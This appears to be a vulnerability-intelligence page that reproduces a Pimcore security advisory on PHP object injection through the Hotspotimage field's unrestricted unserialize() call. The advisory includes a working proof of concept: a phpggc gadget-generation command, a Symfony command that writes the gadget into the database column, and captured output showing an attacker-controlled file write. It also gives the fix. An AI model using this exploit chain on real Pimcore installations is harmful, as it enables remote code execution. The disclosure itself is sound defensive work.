Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Exploitation presupposes an attacker-held store/DB-write primitive into the object_store column, so PR:H rather than PR:N; once bytes are written the load-time deserialization and bundled gadget make execution deterministic (AC:L), yielding full C/I/A impact.
Primary rating from Vendor (https://github.com/pimcore/pimcore).
CVSS VectorVendor: https://github.com/pimcore/pimcore
Lifecycle Timeline
6DescriptionCVE.org
Summary
Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).
The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.
Severity
High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.
Affected component
- File:
models/DataObject/ClassDefinition/Data/Hotspotimage.php, methodgetDataFromResource(). - Vulnerable lines (v2026.1.4 / v12.3.8):
$metaData = $data[$this->getName() . '__hotspots'];
// check if the data is JSON (backward compatibility)
$md = json_decode($metaData, true);
if (!$md) {
$md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true
} elseif (is_array($md)) {
$md['hotspots'] = $md;
}- Root enabler:
lib/Tool/Serialize.php
public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed
{
if ($data === null || $data === '') { return $data; }
return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted
}- Sibling marshallers with the identical fallback shape:
ImageGallery,Block,Video(DataObject\ClassDefinition\Data). - Package:
pimcore/pimcore(Composer). - Affected versions: all currently maintained releases, including the latest
v2026.1.4andv12.3.8(verified against deployedv2026.1.4).
Data flow
- On save,
Hotspotimage::getDataForResource()stores the hotspot/marker/crop metadata asSerialize::serialize($metaData)into the<field>__hotspotsobject-store column - i.e. PHP serialized bytes, not JSON. - On load,
Hotspotimage::getDataFromResource()reads that column, callsjson_decode()(which fails for the serialized format), and therefore falls through toSerialize::unserialize($metaData)with the default unrestricted class list. Serialize::unserialize()invokesunserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.- The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null
<field>__image.
The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.
Proof of Concept
Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).
Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):
printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):
<?php
declare(strict_types=1);
namespace App\Command;
use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
protected function configure(): void
{
$this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
$this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
}
protected function execute(InputInterface $input, OutputInterface $output): int
{
$o = fn (string $m) => $output->writeln($m);
$gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
$target = '/tmp/pimcore_pwned_hotspot.txt';
@unlink($target);
$o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
$class = ClassDefinition::getByName('E2eHotspot');
if (!$class) {
$class = new ClassDefinition();
$class->setName('E2eHotspot');
$class->setGroup('e2e');
$field = new ClassDefinition\Data\Hotspotimage();
$field->setName('img');
$field->setTitle('img');
$panel = new ClassDefinition\Layout\Panel();
$panel->setName('Layout');
$panel->addChild($field);
$class->setLayoutDefinitions($panel);
$class->save();
}
$o(' class id=' . $class->getId());
$o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
$asset = Asset::getByPath('/e2e_pixel.png');
if (!$asset) {
$asset = new Asset\Image();
$asset->setFilename('e2e_pixel.png');
$asset->setParent(Asset::getById(1));
$asset->setData($png);
$asset->save();
}
$o(' asset id=' . $asset->getId());
$o('=== STEP 3: create+save object carrying that image ===');
$obj = DataObject::getByPath('/e2e_obj');
if (!$obj) {
$fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
$obj = new $fqcn();
$obj->setKey('e2e_obj');
$obj->setParent(DataObject::getById(1));
$obj->setPublished(true);
$obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
$obj->save();
}
$objId = $obj->getId();
$store = 'object_store_' . $class->getId();
$o(' object id=' . $objId . ' store=' . $store);
$o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
$db = Db::get();
$payload = $input->getOption('benign')
? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
: $gadget;
$db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
$stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
$o(' stored prefix: ' . substr($stored, 0, 60));
$o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');
$o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
\Pimcore\Cache::clearAll();
\Pimcore\Cache\RuntimeCache::clear();
$o(' target file before load exists? ' . var_export(file_exists($target), true));
if ($input->getOption('restricted')) {
$o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');
$res = @unserialize($stored, ['allowed_classes' => false]);
$o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
gc_collect_cycles();
} else {
try {
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
$reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
$o(' reloaded class=' . get_class($reloaded));
unset($reloaded);
} catch (\Throwable $e) {
$o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
}
gc_collect_cycles();
}
$o('=== RESULT ===');
clearstatcache();
if (file_exists($target)) {
$o(' [VULNERABLE] gadget file WRITTEN: ' . $target);
$o(' contents: ' . trim((string) file_get_contents($target)));
} else {
$o(' [NOT TRIGGERED] target file absent');
}
return Command::SUCCESS;
}
}Captured output - RUN A (positive, gadget):
=== STEP 1: create DataObject class with a Hotspotimage field ===
class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
asset id=2
=== STEP 3: create+save object carrying that image ===
object id=4 store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
(post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
[VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]Captured output - RUN B (negative control, benign JSON in the column):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
[negative control] storing benign JSON
stored prefix: {"hotspots":[],"marker":[],"crop":[]}
json_decode(stored) === null ? false (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
[NOT TRIGGERED] target file absentCaptured output - RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
[negative control] fixed wrapper allowed_classes=false on the same bytes
returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
[NOT TRIGGERED] target file absentRUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe json_decode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowed_classes allowlist returns an inert __PHP_Incomplete_Class and the gadget never runs - i.e. the proposed fix neutralizes the attack.
Impact
PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the *__hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.
Remediation
Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.
Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place):
public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1
Articles & Coverage 1
AnalysisAI
PHP Object Injection leading to remote code execution affects the Pimcore DXP/CMS (composer pimcore/pimcore) in versions 2026.1.0-2026.1.5 and all 12.3.x through 12.3.9, where the Hotspotimage DataObject field marshaller deserializes the persisted *__hotspots object-store column with no class allowlist. Any attacker able to write crafted PHP-serialized bytes into that column gains arbitrary object instantiation on the next object load, chainable to RCE via gadgets in Pimcore's own bundled dependencies (guzzlehttp/guzzle 7.11.0). …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires that the target DataObject class declares a Hotspotimage (advanced image) field with a non-null `<field>__image`, AND that the attacker can write attacker-chosen bytes into that object's `object_store_<classId>.<field>__hotspots` column (e.g. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) presents this as a network, unauthenticated, low-complexity critical flaw - but that scoring is in tension with the advisory's own description, which states the required attacker primitive is the ability to write attacker-chosen serialized bytes into the `<field>__hotspots` object-store column (for example via an SQL-write or store-write primitive). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Vendor-released patch: upgrade to Pimcore 2026.1.6 (for the 2026.x line) or 12.3.10 (for the 12.3.x line); the fix passes an explicit class allowlist to the deserializer (`Serialize::unserialize($metaData, [Element\Data\MarkerHotspotItem::class])`), confirmed inert against the PoC gadget. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify and inventory all Pimcore installations running versions 2026.1.0-2026.1.5 or 12.3.0-12.3.9, determine network exposure level, and review database access logs for anomalies. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-502 – Deserialization of Untrusted Data
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-67870
GHSA-w23p-wrp7-ch38